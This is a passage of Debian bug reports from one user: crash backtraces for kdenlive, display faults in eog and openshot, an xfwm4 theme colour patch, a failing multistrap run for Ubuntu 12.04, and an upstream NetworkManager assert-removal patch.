?? () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #22 0xb424e2ce in start_thread (arg=0x9f973b40) at pthread_create.c:334 __res = pd = 0x9f973b40 now = unwind_buf = {cancel_jmp_buf = {{jmp_buf = {-1272569856, 0, 4001536, -1617480984, -1995999656, -291101169}, mask_was_saved = 0}}, priv = {pad = {0x0, 0x0, 0x0, 0x0}, data = {prev = 0x0, cleanup = 0x0, canceltype = 0}}} not_first_call = pagesize_m1 = sp = freesize = __PRETTY_FUNCTION__ = "start_thread" ---Type to continue, or q to quit--- #23 0xb46b436e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:122 No locals. -- System Information: Debian Release: stretch/sid APT prefers unstable APT policy: (500,
Bug#819750: kdenlive: Crash from clip properties
Package: kdenlive Version: 15.12.3-1 Severity: normal Dear Maintainer, I was viewing clip properties when kdenlive crashed: Thread 408 (Thread 0x8764ab40 (LWP 8833)): #0 0xb7774a44 in __kernel_vsyscall () No symbol table info available. #1 0xb420d9eb in pthread_cond_wait@@GLIBC_2.3.2 () at ../sysdeps/unix/sysv/linux/i386/i686/../i486/pthread_cond_wait.S:187 No locals. #2 0xb467b00d in __pthread_cond_wait (cond=0x82286ff0, mutex=0x82286fd8) at forward.c:149 __p = #3 0xb020f131 in ?? () from /usr/lib/i386-linux-gnu/mlt/libmltsdl.so No symbol table info available. #4 0xb42082ce in start_thread (arg=0x8764ab40) at pthread_create.c:334 __res = pd = 0x8764ab40 now = unwind_buf = {cancel_jmp_buf = {{jmp_buf = {-1272856576, 0, 4001536, -2023447832, -383061596, 1634443714}, mask_was_saved = 0}}, priv = {pad = {0x0, 0x0, 0x0, 0x0}, data = {prev = 0x0, cleanup = 0x0, canceltype = 0}}} not_first_call = pagesize_m1 = sp = freesize = __PRETTY_FUNCTION__ = "start_thread" #5 0xb466e36e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:122 No locals. Thread 407 (Thread 0x994fdb40 (LWP 8832)): #0 0xb7774a44 in __kernel_vsyscall () No symbol table info available. #1 0xb4663982 in __GI_ppoll (fds=0x8442fe58, nfds=3, timeout=0x0, sigmask=0x0) at ../sysdeps/unix/sysv/linux/ppoll.c:50 resultvar = _xv = -1267490816 resultvar = sc_cancel_oldtype = 2 sc_ret = tval = {tv_sec = -1269175163, tv_nsec = -1311649898} result = #2 0xb38ce9b3 in pa_mainloop_poll () from /usr/lib/i386-linux-gnu/libpulse.so.0 No symbol table info available. #3 0xb38cf00f in pa_mainloop_iterate () from /usr/lib/i386-linux-gnu/libpulse.so.0 No symbol table info available. #4 0xb017e55d in ?? () from /usr/lib/i386-linux-gnu/libSDL-1.2.so.0 No symbol table info available. #5 0xb014e538 in ?? () from /usr/lib/i386-linux-gnu/libSDL-1.2.so.0 No symbol table info available. #6 0xb0158155 in ?? () from /usr/lib/i386-linux-gnu/libSDL-1.2.so.0 No symbol table info available. #7 0xb019c048 in ?? () from /usr/lib/i386-linux-gnu/libSDL-1.2.so.0 No symbol table info available. #8 0xb42082ce in start_thread (arg=0x994fdb40) at pthread_create.c:334 __res = pd = 0x994fdb40 now = unwind_buf = {cancel_jmp_buf = {{jmp_buf = {-1272856576, 0, 4001536, -1722821912, -1077218920, 1634443714}, mask_was_saved = 0}}, priv = {pad = {0x0, 0x0, 0x0, 0x0}, data = {prev = 0x0, cleanup = 0x0, canceltype = 0}}} not_first_call = pagesize_m1 = sp = freesize = __PRETTY_FUNCTION__ = "start_thread" #9 0xb466e36e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:122 No locals. Thread 406 (Thread 0x91ff5b40 (LWP 8831)): #0 0xb7774a44 in __kernel_vsyscall () No symbol table info available. #1 0xb420d9eb in pthread_cond_wait@@GLIBC_2.3.2 () at ../sysdeps/unix/sysv/linux/i386/i686/../i486/pthread_cond_wait.S:187 No locals. #2 0xb467b00d in __pthread_cond_wait (cond=0x8228808c, mutex=0x82288074) at forward.c:149 __p = #3 0xb74259aa in ?? () from /usr/lib/i386-linux-gnu/libmlt.so.6 No symbol table info available. #4 0x80374433 in RenderThread::run (this=0x83f7b250) at /build/kdenlive-KOLzQo/kdenlive-15.12.3/src/monitor/glwidget.cpp:1169 No locals. #5 0xb49a63fb in ?? () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #6 0xb42082ce in start_thread (arg=0x91ff5b40) at pthread_create.c:334 __res = pd = 0x91ff5b40 now = unwind_buf = {cancel_jmp_buf = {{jmp_buf = {-1272856576, 0, 4001536, -1845538072, -557125239, 1634443714}, mask_was_saved = 0}}, priv = {pad = {0x0, 0x0, 0x0, 0x0}, data = {prev = 0x0, cleanup = 0x0, canceltype = 0}}} not_first_call = pagesize_m1 = sp = freesize = __PRETTY_FUNCTION__ = "start_thread" #7 0xb466e36e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:122 No locals. Thread 405 (Thread 0x895cfb40 (LWP 8830)): #0 0xb7774a44 in __kernel_vsyscall () No symbol table info available. #1 0xb420d9eb in pthread_cond_wait@@GLIBC_2.3.2 () at ../sysdeps/unix/sysv/linux/i386/i686/../i486/pthread_cond_wait.S:187 No locals. #2 0xb467b00d in __pthread_cond_wait (cond=0x82287024, mutex=0x82287054) at forward.c:149 __p = #3 0xb020fc1b in ?? () from /usr/lib/i386-linux-gnu/mlt/libmltsdl.so No symbol table info available. #4 0xb42082ce in start_thread (arg=0x895cfb40) at pthread_create.c:334 __res = pd = 0x895cfb40 now = unwind_buf = {cancel_jmp_buf = {{jmp_buf = {-1272856576, 0, 4001536, -1990397208, -1718947400, 1634443714}, mask_was_saved = 0}}, priv = {pad = {0x0, 0x0, 0x0,
Bug#819584: eog fails to display JPG's
Package: eog Version: 3.18.2-1 Severity: normal Dear Maintainer, With JPG's from my Sony camera eog only displays a gray screen. Metadata from the files is displayed correctly. Firefox, GIMP etc display these files correctly on screen. Example JPG file: https://mcfrisk.kapsi.fi/temp/DSC06824.JPG Screenshot from eog: https://mcfrisk.kapsi.fi/temp/eog_screenshot_DSC06754_displayed_as_gray_only.png -- System Information: Debian Release: stretch/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable') Architecture: i386 (i686) Foreign Architectures: armhf Kernel: Linux 4.3.3 (SMP w/2 CPU cores) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages eog depends on: ii dconf-gsettings-backend [gsettings-backend] 0.24.0-2 ii gir1.2-gtk-3.0 3.18.9-1 ii gir1.2-peas-1.0 1.16.0-1+b1 ii gsettings-desktop-schemas3.18.1-1 ii libatk1.0-0 2.18.0-1 ii libc62.22-4 ii libcairo-gobject21.14.6-1 ii libcairo21.14.6-1 ii libexempi3 2.3.0-2 ii libexif120.6.21-2 ii libgdk-pixbuf2.0-0 2.32.3-1.2 ii libgirepository-1.0-11.46.0-4 ii libglib2.0-0 2.48.0-1 ii libgnome-desktop-3-123.18.2-1 ii libgtk-3-0 3.18.9-1 ii libjpeg62-turbo 1:1.4.2-2 ii liblcms2-2 2.6-3+b3 ii libpango-1.0-0 1.38.1-1 ii libpangocairo-1.0-0 1.38.1-1 ii libpeas-1.0-01.16.0-1+b1 ii librsvg2-2 2.40.13-3 ii libx11-6 2:1.6.3-1 ii shared-mime-info 1.5-2 ii zlib1g 1:1.2.8.dfsg-2+b1 Versions of packages eog recommends: ii librsvg2-common 2.40.13-3 ii yelp 3.16.1-1 eog suggests no packages. -- no debconf information
Bug#803408: kdenlive clip playback stuck and switch to project monitor produces a crash
Package: kdenlive Version: 15.08.2+git20151026-1 Severity: normal Hi, I'm slowly trying to edit my project with a few clips. If I leave kdenlive idling with the project open for a while, it somehow gets stuck to a few frames of a single clip in clip preview. When I try to switch and preview other clips, their audio track is played but video is stuck on that previous clip. If I then switch to project monitor, kdenlive crashes: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x9f425b40 (LWP 3242)] 0x0835ed0b in QOpenGLFunctions::glGenTextures (textures=0xb714fc8, n=3, this=0xa3d10c60) at /usr/include/i386-linux-gnu/qt5/QtGui/qopenglfunctions.h:782 782 /usr/include/i386-linux-gnu/qt5/QtGui/qopenglfunctions.h: No such file or directory. (gdb) bt full #0 0x0835ed0b in QOpenGLFunctions::glGenTextures (textures=0xb714fc8, n=3, this=0xa3d10c60) at /usr/include/i386-linux-gnu/qt5/QtGui/qopenglfunctions.h:782 No locals. #1 uploadTextures (texture=0xb714fc8, frame=..., context=0xb560618) at /build/kdenlive-EBb_31/kdenlive-15.08.2+git20151026/src/monitor/glwidget.cpp:308 image = 0x8e278030 '\020' ... y = width = 1280 height = 720 f = 0xa3d10c60 #2 FrameRenderer::showFrame (this=0xb714fb0, frame=...) at /build/kdenlive-EBb_31/kdenlive-15.08.2+git20151026/src/monitor/glwidget.cpp:1179 width = 1280 height = 720 format = mlt_image_yuv420p f = 0xa3d10c60 #3 0x0848e529 in FrameRenderer::qt_static_metacall (_o=0xb714fb0, _c=QMetaObject::InvokeMetaMethod, _id=6, _a=0x87a24090) at /build/kdenlive-EBb_31/kdenlive-15.08.2+git20151026/obj-i586-linux-gnu/src/moc_glwidget.cpp:730 ---Type to continue, or q to quit--- _t = 0xb714fb0 _c = QMetaObject::InvokeMetaMethod _a = 0x87a24090 _id = 6 _o = 0xb714fb0 #4 0xb4bcffe0 in QMetaCallEvent::placeMetaCall(QObject*) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #5 0xb4bd3e03 in QObject::event(QEvent*) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #6 0xb49c6087 in QThread::event(QEvent*) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #7 0xb5bc637a in QApplicationPrivate::notify_helper(QObject*, QEvent*) () from /usr/lib/i386-linux-gnu/libQt5Widgets.so.5 No symbol table info available. #8 0xb5bcba50 in QApplication::notify(QObject*, QEvent*) () from /usr/lib/i386-linux-gnu/libQt5Widgets.so.5 No symbol table info available. #9 0xb4ba326f in QCoreApplication::notifyInternal(QObject*, QEvent*) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. ---Type to continue, or q to quit--- #10 0xb4ba594d in QCoreApplicationPrivate::sendPostedEvents(QObject*, int, QThreadData*) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #11 0xb4ba5e37 in QCoreApplication::sendPostedEvents(QObject*, int) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #12 0xb4bfb423 in ?? () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #13 0xb3f4fe59 in g_main_context_dispatch () from /lib/i386-linux-gnu/libglib-2.0.so.0 No symbol table info available. #14 0xb3f500f9 in ?? () from /lib/i386-linux-gnu/libglib-2.0.so.0 No symbol table info available. #15 0xb3f501c4 in g_main_context_iteration () from /lib/i386-linux-gnu/libglib-2.0.so.0 No symbol table info available. #16 0xb4bfb834 in QEventDispatcherGlib::processEvents(QFlags) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #17 0xb4ba0393 in QEventLoop::processEvents(QFlags) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #18 0xb4ba07ea in QEventLoop::exec(QFlags) () ---Type to continue, or q to quit--- from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #19 0xb49c5f7d in QThread::exec() () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #20 0xb49c6058 in QThread::run() () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #21 0xb49cb48b in ?? () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #22 0xb4271efb in start_thread (arg=0x9f425b40) at pthread_create.c:309 __res = pd = 0x9f425b40 now = unwind_buf = {cancel_jmp_buf = {{jmp_buf = {-1272430592, -1623041216, 4001536, -1623043352, -884183992, 30776350}, mask_was_saved = 0}}, priv = {pad = {0x0, 0x0, 0x0, 0x0}, data = {prev = 0x0, cleanup = 0x0, canceltype = 0}}} not_first_call = pagesize_m1 = sp = freesize = __PRETTY_FUNCTION__ = "start_thread" ---Type to continue, or q to quit--- #23 0xb46a966e in clone () at
Bug#803189: kdenlive monitor shows only dark green screen
Package: kdenlive Version: 15.08.2-1 Severity: normal Hi, Tried to edit with kdenlive since a while but the monitor preview screen is failing to show clips and only displays a darg green screen for clips and project too. Tried with a few mp4 files and a jpg. Clip plays and audio too, but video footage not. Melt from command line works for the same mp4 files and displays video and plays the audio. Machine is an old Thinkpad T60 with Intel GPU: 00:02.0 VGA compatible controller: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller (rev 03) and Xorg. -Mikko -- System Information: Debian Release: stretch/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable') Architecture: i386 (i686) Foreign Architectures: armhf Kernel: Linux 4.1.6+ (SMP w/2 CPU cores) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages kdenlive depends on: ii ffmpeg7:2.8.1-1 ii kded5 5.15.0-1 ii kdenlive-data 15.08.2-1 ii kinit 5.15.0-1 ii kio 5.15.0-1 ii libc6 2.19-22 ii libgcc1 1:5.2.1-22 ii libgl1-mesa-glx [libgl1] 10.6.8-1 ii libglu1-mesa [libglu1]9.0.0-2.1 ii libkf5archive55.15.0-1 ii libkf5attica5 5.15.0-1 ii libkf5auth5 5.15.0-1 ii libkf5bookmarks5 5.15.0-1 ii libkf5codecs5 5.15.0-1 ii libkf5completion5 5.15.0-1 ii libkf5configcore5 5.15.0-1 ii libkf5configgui5 5.15.0-1 ii libkf5configwidgets5 5.15.0-1 ii libkf5coreaddons5 5.15.0-1 ii libkf5dbusaddons5 5.15.0-1 ii libkf5guiaddons5 5.15.0-1 ii libkf5i18n5 5.15.0-1 ii libkf5iconthemes5 5.15.0-1 ii libkf5itemviews5 5.15.0-1 ii libkf5jobwidgets5 5.15.0-1 ii libkf5kiocore55.15.0-1 ii libkf5kiofilewidgets5 5.15.0-1 ii libkf5kiontlm55.15.0-1 ii libkf5kiowidgets5 5.15.0-1 ii libkf5newstuff5 5.15.0-1 ii libkf5notifications5 5.15.0-1 ii libkf5notifyconfig5 5.15.0-1 ii libkf5plotting5 5.15.0-1 ii libkf5service-bin 5.15.0+-1 ii libkf5service55.15.0+-1 ii libkf5solid5 5.15.0-1 ii libkf5sonnetui5 5.15.0-1 ii libkf5textwidgets55.15.0-1 ii libkf5widgetsaddons5 5.15.0-1 ii libkf5xmlgui5 5.15.0-1 ii libmlt++3 0.9.8-2 ii libmlt6 0.9.8-2 ii libqt5concurrent5 5.5.1+dfsg-4 ii libqt5core5a 5.5.1+dfsg-4 ii libqt5dbus5 5.5.1+dfsg-4 ii libqt5gui55.5.1+dfsg-4 ii libqt5network55.5.1+dfsg-4 ii libqt5qml55.5.1-3 ii libqt5quick5 5.5.1-3 ii libqt5script5 5.5.1+dfsg-2 ii libqt5svg55.5.1-2 ii libqt5widgets55.5.1+dfsg-4 ii libqt5xml55.5.1+dfsg-4 ii libstdc++65.2.1-22 ii libv4l-0 1.8.0-1 ii melt 0.9.8-2 ii qml-module-qtquick2 5.5.1-3 Versions of packages kdenlive recommends: ii dvdauthor0.7.0-1.3 ii dvgrab 3.5-2+b3 ii frei0r-plugins 1.4-3+b1 ii genisoimage 9:1.1.11-3 ii recordmydesktop 0.3.8.1+svn602-1+b1 ii swh-plugins 0.4.15+1-8 Versions of packages kdenlive suggests: pn khelpcenter -- no debconf information
Bug#803205: openshot: timeline colors are wrong
Package: openshot Version: 1.4.3-1.1 Severity: normal Hi, On my test mp4 files I noticed that clip preview shows colors and everything correctly but on timeline and on render output the colors are wrong. Seems like something is wrong in the color conversions. Screen shot of correct colors in clip preview: https://mcfrisk.kapsi.fi/temp/openshot_clip_preview_colors_correct.png Screen shot of bad colors from timeline playback: https://mcfrisk.kapsi.fi/temp/openshot_timeline_colors_wrong.png The clip is quite standard mp4 from a camera phone and melt plays it just fine. ffmpeg says it is: Input #0, mov,mp4,m4a,3gp,3g2,mj2, from '/home/mcfrisk/Videos/20150726_croatia_sand_skiing/VIDEO0076_syöksy.mp4': Metadata: major_brand : isom minor_version : 0 compatible_brands: isom3gp4 creation_time : 2015-07-26 09:01:11 Duration: 00:00:13.39, start: 0.00, bitrate: 13422 kb/s Stream #0:0(eng): Video: h264 (Constrained Baseline) (avc1 / 0x31637661), yuv420p, 1280x720, 12760 kb/s, SAR 1:1 DAR 16:9, 30.35 fps, 30 tbr, 90k tbn, 180k tbc (default) Metadata: creation_time : 2015-07-26 09:01:11 handler_name: VideoHandle Stream #0:1(eng): Audio: aac (LC) (mp4a / 0x6134706D), 48000 Hz, stereo, fltp, 190 kb/s (default) Metadata: creation_time : 2015-07-26 09:01:11 handler_name: SoundHandle -- System Information: Debian Release: stretch/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable') Architecture: i386 (i686) Foreign Architectures: armhf Kernel: Linux 4.1.6+ (SMP w/2 CPU cores) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages openshot depends on: ii fontconfig 2.11.0-6.3 ii gtk2-engines-pixbuf 2.24.28-1 ii librsvg2-common 2.40.11-1 ii melt 0.9.8-2 ii python 2.7.9-1 ii python-gtk2 2.24.0-4 ii python-httplib2 0.9.1+dfsg-1 ii python-imaging 2.9.0-1 ii python-mlt 0.9.8-2 ii python-pygoocanvas 0.14.1-1.1 ii python-support 1.0.15 ii python-xdg 0.25-4 Versions of packages openshot recommends: ii frei0r-plugins 1.4-3+b1 ii openshot-doc1.4.3-1.1 Versions of packages openshot suggests: pn blender pn inkscape -- no debconf information
Bug#788882: xfwm4: Active window not clearly marked in default Xfce themes anymore
Package: xfwm4 Version: 4.12.3-1 Severity: minor Dear Maintainer, Latest xfwm4 package with default themes for Xfce desktop do not have clear markers for active windows anymore. In older default themes the active window title was marked with blue'ish background and the others were gray. This was easy for users to spot and comes from the tradition of Windows 3.1 etc :) Now the default theme only shows a gray window title text in non-active window and dark gray in the active one. Also the upper right corner window action buttons are with darker gray background in the active window and white gray in the non-active windows. But these are really difficult to spot. As a simple desktop user I would like to see the old blueish title background in the active window. This way I don't have to learn new tricks and focus my eyes on newer window decorations/elements. This change is rather new in Debian unstable but has been reported/discussed in upstream mailing list before: http://xfce.10915.n7.nabble.com/changing-the-active-window-title-bar-color-td42750.html The new all gray theme also affects CPU usage graph which has only light and slightly less gray bars which are for impossible for me to distinguish. This very hack'ish and crude patch to the installed package helps a bit but is way too ugly to be used for a real implementation. Would be really nice if some UI designer had a look at this issue. Maybe Debian could help upstream with this. diff -up /usr/share/themes/Default/xfwm4/backup/title-1-active.xpm /usr/share/themes/Default/xfwm4/title-1-active.xpm --- /usr/share/themes/Default/xfwm4/backup/title-1-active.xpm 2015-06-14 21:22:16.181781539 +0200 +++ /usr/share/themes/Default/xfwm4/title-1-active.xpm 2015-06-14 21:28:15.165623079 +0200 @@ -1,8 +1,8 @@ /* XPM */ -static char * title_active_xpm[] = { +static char * title_1_active_xpm[] = { 4 29 2 1, - c None, -. c #C0C0FF s active_color_2, + c None, +. c #3B52FF, , , , diff -up /usr/share/themes/Default/xfwm4/backup/title-2-active.xpm /usr/share/themes/Default/xfwm4/title-2-active.xpm --- /usr/share/themes/Default/xfwm4/backup/title-2-active.xpm 2015-06-14 21:22:16.181781539 +0200 +++ /usr/share/themes/Default/xfwm4/title-2-active.xpm 2015-06-14 21:28:15.165623079 +0200 @@ -1,8 +1,8 @@ /* XPM */ -static char * title_active_xpm[] = { +static char * title_2_active_xpm[] = { 4 29 2 1, - c None, -. c #C0C0FF s active_color_2, + c None, +. c #3B52FF, , , , diff -up /usr/share/themes/Default/xfwm4/backup/title-3-active.xpm /usr/share/themes/Default/xfwm4/title-3-active.xpm --- /usr/share/themes/Default/xfwm4/backup/title-3-active.xpm 2015-06-14 21:22:16.185781586 +0200 +++ /usr/share/themes/Default/xfwm4/title-3-active.xpm 2015-06-14 21:28:15.169623118 +0200 @@ -1,8 +1,8 @@ /* XPM */ -static char * title_active_xpm[] = { +static char * title_3_active_xpm[] = { 4 29 2 1, - c None, -. c #C0C0FF s active_color_2, + c None, +. c #3B52FF, , , , diff -up /usr/share/themes/Default/xfwm4/backup/title-4-active.xpm /usr/share/themes/Default/xfwm4/title-4-active.xpm --- /usr/share/themes/Default/xfwm4/backup/title-4-active.xpm 2015-06-14 21:22:16.185781586 +0200 +++ /usr/share/themes/Default/xfwm4/title-4-active.xpm 2015-06-14 21:28:15.169623118 +0200 @@ -1,8 +1,8 @@ /* XPM */ -static char * title_active_xpm[] = { +static char * title_4_active_xpm[] = { 4 29 2 1, - c None, -. c #C0C0FF s active_color_2, + c None, +. c #3B52FF, , , , diff -up /usr/share/themes/Default/xfwm4/backup/title-5-active.xpm /usr/share/themes/Default/xfwm4/title-5-active.xpm --- /usr/share/themes/Default/xfwm4/backup/title-5-active.xpm 2015-06-14 21:22:16.185781586 +0200 +++ /usr/share/themes/Default/xfwm4/title-5-active.xpm 2015-06-14 21:28:15.169623118 +0200 @@ -1,8 +1,8 @@ /* XPM */ -static char * title_active_xpm[] = { +static char * title_5_active_xpm[] = { 4 29 2 1, - c None, -. c #C0C0FF s active_color_2, + c None, +. c #3B52FF, , , , Thanks! -Mikko -- System Information: Debian Release: stretch/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable') Architecture: i386 (i686) Foreign Architectures: armhf Kernel: Linux 3.18.0+ (SMP w/2 CPU cores) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#780612: multistrap'ing Ubuntu 12.04 LTS fails
Package: multistrap Version: 2.2.0 Severity: normal Dear Maintainer, multistrap'ing Ubuntu 12.04 LTS is failing: # cat multistrap-precise.conf [General] arch=amd64 cleanup=true # auth not working noauth=true explicitsuite=false bootstrap=precise aptsources=precise [precise] packages= source=http://de.archive.ubuntu.com/ubuntu #keyring=ubuntu-archive-keyring suite=precise components=main universe omitdebsrc=false # multistrap -d precise -f multistrap-precise.conf multistrap 2.2.0 using multistrap-precise.conf multistrap 2.2.0 using multistrap-precise.conf Defaulting architecture to native: amd64 multistrap building amd64 multistrap on 'amd64' I: Setting /tmp/precise/lib64 - /tmp/precise/lib symbolic link. Getting package lists: apt-get -o Apt::Architecture=amd64 -o Dir::Etc::TrustedParts=/tmp/precise/etc/apt/trusted.gpg.d -o Dir::Etc::Trusted=/tmp/precise/etc/apt/trusted.gpg.d/trusted.gpg -o Apt::Get::AllowUnauthenticated=true -o Apt::Get::Download-Only=true -o Apt::Install-Recommends=false -o Dir=/tmp/precise/ -o Dir::Etc=/tmp/precise/etc/apt/ -o Dir::Etc::Parts=/tmp/precise/etc/apt/apt.conf.d/ -o Dir::Etc::PreferencesParts=/tmp/precise/etc/apt/preferences.d/ -o APT::Default-Release=* -o Dir::State=/tmp/precise/var/lib/apt/ -o Dir::State::Status=/tmp/precise/var/lib/dpkg/status -o Dir::Cache=/tmp/precise/var/cache/apt/ update Ign http://de.archive.ubuntu.com precise InRelease Get:1 http://de.archive.ubuntu.com precise Release.gpg [198 B] Get:2 http://de.archive.ubuntu.com precise Release [49.6 kB] No keyring installed in /tmp/precise/etc/apt/trusted.gpg.d/.Ign http://de.archive.ubuntu.com precise Release Get:3 http://de.archive.ubuntu.com precise/main Sources [934 kB] Get:4 http://de.archive.ubuntu.com precise/universe Sources [5,019 kB] Get:5 http://de.archive.ubuntu.com precise/main amd64 Packages [1,273 kB] Get:6 http://de.archive.ubuntu.com precise/universe amd64 Packages [4,786 kB] Get:7 http://de.archive.ubuntu.com precise/main Translation-en [726 kB] Get:8 http://de.archive.ubuntu.com precise/universe Translation-en [3,341 kB] Ign http://de.archive.ubuntu.com precise/main Translation-en_US Ign http://de.archive.ubuntu.com precise/universe Translation-en_US Fetched 16.1 MB in 34s (467 kB/s) Reading package lists... W: GPG error: http://de.archive.ubuntu.com precise Release: Could not execute 'gpgv' to verify signature (is gpgv installed?) I: Calculating required packages. apt-get -y -o Apt::Architecture=amd64 -o Dir::Etc::TrustedParts=/tmp/precise/etc/apt/trusted.gpg.d -o Dir::Etc::Trusted=/tmp/precise/etc/apt/trusted.gpg.d/trusted.gpg -o Apt::Get::AllowUnauthenticated=true -o Apt::Get::Download-Only=true -o Apt::Install-Recommends=false -o Dir=/tmp/precise/ -o Dir::Etc=/tmp/precise/etc/apt/ -o Dir::Etc::Parts=/tmp/precise/etc/apt/apt.conf.d/ -o Dir::Etc::PreferencesParts=/tmp/precise/etc/apt/preferences.d/ -o APT::Default-Release=* -o Dir::State=/tmp/precise/var/lib/apt/ -o Dir::State::Status=/tmp/precise/var/lib/dpkg/status -o Dir::Cache=/tmp/precise/var/cache/apt/ install adduser base-files base-passwd bash bsdutils busybox-initramfs coreutils cpio dash debconf debianutils diffutils dpkg e2fslibs e2fsprogs findutils gcc-4.6-base grep gzip hostname ifupdown initramfs-tools initramfs-tools-bin initscripts insserv iproute klibc-utils libacl1 libattr1 libblkid1 libbz2-1.0 libc-bin libc6 libcomerr2 libdb5.1 libdbus-1-3 libdrm-intel1 libdrm-nouveau1a libdrm-radeon1 libdrm2 libelf1 libffi6 libgcc1 libglib2.0-0 libklibc liblzma5 libmount1 libncurses5 libncursesw5 libnih-dbus1 libnih1 libpam-modules libpam-modules-bin libpam-runtime libpam0g libpciaccess0 libpcre3 libplymouth2 libpng12-0 libselinux1 libslang2 libss2 libssl1.0.0 libtinfo5 libudev0 libuuid1 locales login lsb-base makedev mawk module-init-tools mount mountall multiarch-support ncurses-base ncurses-bin passwd perl-base plymouth procps python-minimal python2.7-minimal sed sensible-utils sysv-rc sysvinit-utils tar tzdata udev upstart util-linux xz-utils zlib1g Reading package lists... Building dependency tree... Suggested packages: liblocale-gettext-perl perl-modules bash-doc libarchive1 debconf-doc debconf-utils whiptail dialog gnome-utils libterm-readline-gnu-perl libgtk2-perl libnet-ldap-perl libqtgui4-perl libqtcore4-perl diffutils-doc wdiff apt gpart parted e2fsck-static mlocate locate less isc-dhcp-client dhcp-client ppp rdnssd net-tools bootchart iproute-doc glibc-doc libpam-doc pciutils nfs-common binfmt-support sysv-rc-conf bum sash bzip2 ncompress watershed graphviz util-linux-locales kbd console-tools dosfstools xz-lzma Recommended packages: ecryptfs-utils bash-completion bsdmainutils apt-utils debconf-i18n psmisc libatm1 dbus libglib2.0-data shared-mime-info libgpm2 uuid-runtime plymouth-theme-ubuntu-text plymouth-theme python python2.7 The following NEW packages will be installed: adduser base-files base-passwd bash bsdutils busybox-initramfs coreutils cpio dash
Bug#773216: Fixed in upstream git
Attached patch from upstream git repo fixes the bridge assert and brctl commands no longer crash NetworkManager. As a side note, how about disabling all asserts? They are a debug and test feature and should not be used as error handling in production builds? -Mikko commit c9b9229c2e7de2bbb12e493a868921b7a788ee92 Author: Jiří Klimeš jkli...@redhat.com Date: Wed Sep 24 16:02:37 2014 +0200 core: do not assert when a device is enslaved externally Test case: # ip link add name BR type bridge # brctl addif BR eth0 Monitoring external master/slave changes was intruduced by 08e0cfb484dfc6aa6342871158ffe752c7c50f03. diff --git a/src/devices/nm-device.c b/src/devices/nm-device.c index 28fd128..4a5eb18 100644 --- a/src/devices/nm-device.c +++ b/src/devices/nm-device.c @@ -2950,8 +2950,6 @@ act_stage3_ip4_config_start (NMDevice *self, g_assert (connection); method = nm_utils_get_ip_config_method (connection, NM_TYPE_SETTING_IP4_CONFIG); - if (priv-master) - g_assert_cmpstr (method, ==, NM_SETTING_IP4_CONFIG_METHOD_DISABLED); if ( strcmp (method, NM_SETTING_IP4_CONFIG_METHOD_MANUAL) != 0 priv-is_master @@ -3956,8 +3954,6 @@ act_stage3_ip6_config_start (NMDevice *self, g_assert (connection); method = nm_utils_get_ip_config_method (connection, NM_TYPE_SETTING_IP6_CONFIG); - if (priv-master) - g_assert_cmpstr (method, ==, NM_SETTING_IP6_CONFIG_METHOD_IGNORE); if ( strcmp (method, NM_SETTING_IP6_CONFIG_METHOD_MANUAL) != 0 priv-is_master diff --git a/src/nm-active-connection.c b/src/nm-active-connection.c index 30e319b..130b522 100644 --- a/src/nm-active-connection.c +++ b/src/nm-active-connection.c @@ -365,11 +365,11 @@ device_master_changed (GObject *object, return; if (!nm_device_get_master (device)) return; + if (!nm_active_connection_get_master (self)) + return; g_signal_handlers_disconnect_by_func (device, G_CALLBACK (device_master_changed), self); master = nm_active_connection_get_master (self); - g_assert (master); - master_state = nm_active_connection_get_state (master); if (master_state = NM_ACTIVE_CONNECTION_STATE_DEACTIVATING) { /* Master failed before attaching the slave */
Bug#773213: Bug filed to upstream too
Since upstream git repo has the same problem I filed a bug there too: https://bugzilla.gnome.org/show_bug.cgi?id=741587 -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#773213: Patch applied to upstream
